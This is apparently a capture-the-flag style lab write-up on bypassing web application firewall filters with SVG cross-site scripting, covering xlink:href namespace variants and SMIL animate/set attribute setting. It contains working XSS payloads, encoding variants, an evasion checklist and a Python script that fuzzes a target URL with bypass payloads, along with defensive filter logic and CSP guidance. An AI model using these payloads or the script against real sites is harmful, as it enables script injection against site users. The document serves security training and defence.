SVG XSS: xlink:href Namespace Bypass
Overview
This attack exploits the difference between HTML and SVG link attributes to bypass WAF filters that block href but miss xlink:href - the XML namespace version of the same attribute.
The Payload
<svg><a xlink:href="javascript:alert(1)"><text x="0" y="15">Click</text></a></svg>
Lab Context:
- Some tags whitelisted (svg, a, text, animate, etc.)
- ALL event handlers blocked (onclick, onerror, etc.)
- Anchor href attribute blocked
- Must be clickable with “Click” label
Why This Works
SVG Has Two Ways to Define Links
HTML/Modern SVG (SVG 2):
<svg><a href="https://example.com">Link</a></svg>
Legacy SVG (SVG 1.1) with XML Namespace:
<svg><a xlink:href="https://example.com">Link</a></svg>
Key Point: Browsers support BOTH for backwards compatibility, but WAFs often only filter one!
The Filter Logic Flaw
What the WAF checks:
if attribute_name == "href":
block()
What it misses:
attribute_name: "xlink:href" -> Not equal to "href", so ALLOWED
The filter uses simple string matching and doesn’t recognize that xlink:href is functionally equivalent to href in SVG context.
Attack Breakdown
Component Analysis
1. <svg> - The Container
- Creates SVG (XML) parsing context
- SVG has different attribute rules than HTML
- Enables use of XML namespaces
2. <a> - The Anchor Element
- In HTML: uses
href - In SVG: supports both
hrefANDxlink:href - Both work identically in browsers
3. xlink:href="javascript:alert(1)" - The Bypass
xlink:= XML namespace prefix (XML Linking Language)- Legacy SVG 1.1 syntax still fully supported
- Filter blocks “href” but misses “xlink:href”
javascript:protocol executes code when clicked
4. <text x="0" y="15">Click</text> - The Clickable Element
- SVG text element displays “Click”
x="0" y="15"positions the text- Becomes clickable because it’s inside
<a> - Required by lab to trigger user interaction
Execution Flow
User sees "Click" text
↓
User clicks on text
↓
Browser follows <a> link
↓
Reads xlink:href attribute
↓
Sees javascript: protocol
↓
Executes: alert(1)
↓
Lab solved
Why xlink:href Still Works
Browser Compatibility
SVG 1.1 Specification (2003):
- Required
xlink:hreffor all link references - Used XML namespace:
xmlns:xlink="http://www.w3.org/1999/xlink"
SVG 2 Specification (2016+):
- Simplified to plain
href(matching HTML) - Deprecated
xlink:hrefbut didn’t remove it
Modern Browsers (All):
- Support BOTH
hrefandxlink:hrefin SVG - Maintain backwards compatibility with old SVG content
- Treat them as functionally identical
The Security Gap
This creates a security gap:
Developers think: "I blocked href, links are safe"
Reality: xlink:href still works perfectly
Variations & Related Techniques
Other Elements with xlink:href
Image element:
<svg><image xlink:href="javascript:alert(1)" /></svg>
(Doesn’t execute on click, but may load)
Use element:
<svg><use xlink:href="#x" /></svg>
(References other SVG elements)
Combining with Animation
If xlink:href is also blocked, use animation to set it dynamically:
<svg><a id="x"><animate attributeName="href" values="javascript:alert(1)" /><text x="0" y="15">Click</text></a></svg>
<svg><a><animate attributeName="xlink:href" values="javascript:alert(1)" /><text x="0" y="15">Click</text></a></svg>
Protocol Variations
If javascript: is filtered:
<svg><a xlink:href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>
Encoding Bypasses
HTML entities:
<svg><a xlink:href="javascript:alert(1)"><text>Click</text></a></svg>
URL encoding:
<svg><a xlink:href="javascript:alert%281%29"><text>Click</text></a></svg>
Unicode encoding:
<svg><a xlink:href="javascript:alert\u00281\u0029"><text>Click</text></a></svg>
Real-World Examples
Common WAF Patterns That Fail
Pattern 1: Simple string blocking
if 'href=' in user_input:
return "Blocked"
# Misses: xlink:href
Pattern 2: Attribute name blocking
blocked_attrs = ['href', 'src', 'action']
if attr_name in blocked_attrs:
return "Blocked"
# Misses: xlink:href (not in list)
Pattern 3: Case-sensitive blocking
if 'href' in user_input:
return "Blocked"
# Misses: HREF, HrEf, xlink:href
Defense Evasion Checklist
When href is blocked, try:
xlink:href(namespace version)HREF(case variation)hrefwith encoding (href)- Animation to set href dynamically
- Alternative attributes (
src,action,formaction)
Proper Defense Strategies
What WAFs Should Do
1. Block namespace prefixes:
blocked_attrs = ['href', 'xlink:href', 'xml:href']
2. Block dangerous protocols:
blocked_protocols = ['javascript:', 'data:', 'vbscript:']
3. Whitelist safe protocols:
allowed_protocols = ['http://', 'https://', 'mailto:']
# Only allow these in any link attribute
4. Context-aware parsing:
if tag == 'a' or tag == 'svg:a':
for attr in ['href', 'xlink:href']:
if attr in element.attributes:
validate_url(element.attributes[attr])
5. Strip attributes entirely:
# Remove all href-related attributes from user input
for attr in element.attributes:
if 'href' in attr.lower():
element.remove_attribute(attr)
Secure Coding Practices
Input validation:
- Validate protocol explicitly
- Only allow http/https URLs
- Reject javascript:, data:, and other protocols
Output encoding:
- HTML-encode all user input
- Use context-aware encoding libraries
- Don’t trust client-side validation
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'
Blocks inline JavaScript execution including javascript: URIs
Testing Methodology
Discovery Process
Step 1: Identify allowed tags Use Burp Intruder with SVG element list:
<svg>
<a>
<image>
<text>
<animate>
Step 2: Test standard attributes
<svg><a href="javascript:alert(1)">Click</a></svg>
Result: Blocked
Step 3: Try namespace variants
<svg><a xlink:href="javascript:alert(1)">Click</a></svg>
Result: Bypassed!
Step 4: Add required elements
<svg><a xlink:href="javascript:alert(1)"><text x="0" y="15">Click</text></a></svg>
Result: Lab solved!
Automation Script
import requests
url = "https://target.com/search"
namespace_variants = [
'href',
'xlink:href',
'xml:href',
'xmlns:href',
]
payload_template = '<svg><a {attr}="javascript:alert(1)"><text>Click</text></a></svg>'
for attr in namespace_variants:
payload = payload_template.format(attr=attr)
r = requests.get(url, params={'q': payload})
if 'Blocked' not in r.text and attr in r.text:
print(f"[+] Working bypass: {attr}")
print(f"[+] Payload: {payload}")
Key Takeaways
- Namespace Exploitation: XML namespaces provide alternate syntax that filters often miss
- Backwards Compatibility: Browsers maintain old specs for compatibility, creating bypass opportunities
- Simple String Matching Fails: WAFs using basic string matching are vulnerable to namespace variants
- Think Beyond HTML: SVG, XML, and other specs have their own attribute systems
- Testing Strategy: When an attribute is blocked, try:
- Namespace prefixes (xlink:, xml:, xmlns:)
- Case variations (HrEf, HREF)
- Encoding variations (href)
- Dynamic setting via animation/script
Related Techniques
- SVG Dynamic Attribute Setting via Animation - alternative technique using runtime attribute modification
- Systematic XSS Testing with Burp Intruder
- SVG Elements Reference
- SVG Events Reference
- XSS Testing Punch List
References
- PortSwigger XSS Cheat Sheet
- SVG 1.1 Specification - XLink
- SVG 2 Specification - Links
Alternative Solution: Dynamic Attribute Setting via SVG Animation
PortSwigger’s Official Solution
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
This uses a different technique than the namespace bypass - it exploits the temporal gap between HTML parsing (when WAF checks) and runtime execution (when animation runs).
Comparison: Two Valid Solutions
Solution 1: Namespace Bypass (xlink:href)
<svg><a xlink:href="javascript:alert(1)"><text>Click</text></a>
- Method: Uses XML namespace variant
- Timing: href set at parse time
- Bypass: Filter misses
xlink:prefix - Simplicity: Simpler, more direct
Solution 2: Dynamic Setting (animate)
<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>
- Method: Dynamically sets attribute after parse
- Timing: href set at runtime
- Bypass: Filter checks before animation runs
- Robustness: Works even if xlink:href is blocked
How Dynamic Animation Works
Component Breakdown
1. Empty Anchor Element
<svg><a>
- Creates anchor with no href attribute initially
- Passes WAF inspection (looks harmless)
- Nothing suspicious at parse time
2. Animation Element
<animate attributeName=href values=javascript:alert(1) />
attributeName=href- Which attribute to modifyvalues=javascript:alert(1)- Value to set- No
dur= applies immediately - Modifies parent
<a>element
3. Clickable Text
<text x=20 y=20>Click me</text>
- Creates clickable content
- Positioned at (20, 20)
- Inherits link behavior from
<a>
Execution Timeline
Step 1: Parse Time (WAF)
<svg><a><animate...>
↓
No href in <a> tag
↓
WAF allows it
Step 2: Runtime
Animation engine activates
↓
<animate> sets href on <a>
↓
<a href="javascript:alert(1)">
Step 3: User Clicks
User clicks text
↓
JavaScript executes
↓
alert(1) runs
The Bypass Mechanism
Parse Time vs Runtime:
PARSE (WAF sees):
<a> ← No href
<animate attributeName=href>
</a>
WAF: "Safe!"
RUNTIME (Browser):
<a href="javascript:alert(1)">
← Animation sets href
</a>
Dangerous!
Why filters miss this:
- WAF inspects at parse time
<a>has no href initially- WAF approves it
- Animation runs later
- href gets set dynamically
- Too late - already passed filter!
SVG Animation Attributes
attributeName
Specifies which attribute to animate:
<animate attributeName=href />
<animate attributeName=fill />
values
What value(s) to set:
<animate values=javascript:alert(1) />
<animate values="red;blue;green" />
Optional: dur, begin
<animate dur="1s" /> <!-- Duration -->
<animate begin="2s" /> <!-- Start time -->
<animate /> <!-- Immediate -->
Why This Bypasses Multiple Filters
String Pattern Matching
if 'href=' in html:
block()
Bypassed - No ‘href=’ initially
Attribute Inspection
if element.has_attribute('href'):
block()
Bypassed - No href at inspection
Protocol Filtering
if 'javascript:' in element.href:
block()
Bypassed - href doesn’t exist yet
Namespace Blocking
if 'xlink:href' in attrs:
block()
Bypassed - href set dynamically
Variations
Using <set> Instead
<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>
Simpler - just sets value
Combining Both Techniques
<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text>Click</text></a>
Namespace + Dynamic = Double bypass!
Delayed Execution
<svg><a><animate attributeName=href values=javascript:alert(1) begin=2s /><text>Wait 2s then click</text></a>
Testing Workflow
Step 1: Try Static
<svg><a href="javascript:alert(1)">Click</a>
<svg><a xlink:href="javascript:alert(1)">Click</a>
Step 2: Try Dynamic
<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>
Step 3: Combine
<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text>Click</text></a>
Step 4: Alternative Elements
<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>
Defense Requirements
To block both techniques:
# Block namespace variants
if 'href' in attrs or 'xlink:href' in attrs:
block()
# Block dynamic setting
if tag in ['animate', 'set']:
if get_attr('attributeName') in ['href', 'xlink:href']:
block()
# Block protocol everywhere
if 'javascript:' in html.lower():
block()
Ultimate defense: CSP
Content-Security-Policy: script-src 'self'
Blocks all javascript: URIs regardless of technique
Key Insights
- Temporal Evasion: Animation sets attributes after filter checks
- Static Evasion: Namespaces bypass string matching
- Combine Them: Maximum evasion potential
- SMIL Power: Can modify any SVG attribute
- Defense Needs Both: Must check initial state AND dynamic changes
Summary Table
| Aspect | Static (xlink:href) | Dynamic (animate) |
|---|---|---|
| Method | Namespace variant | Runtime attribute setting |
| Timing | Parse time | Runtime |
| Complexity | Simpler | Slightly more complex |
| Robustness | Fails if namespace blocked | Works if animate allowed |
| Best For | Quick wins | Defense in depth |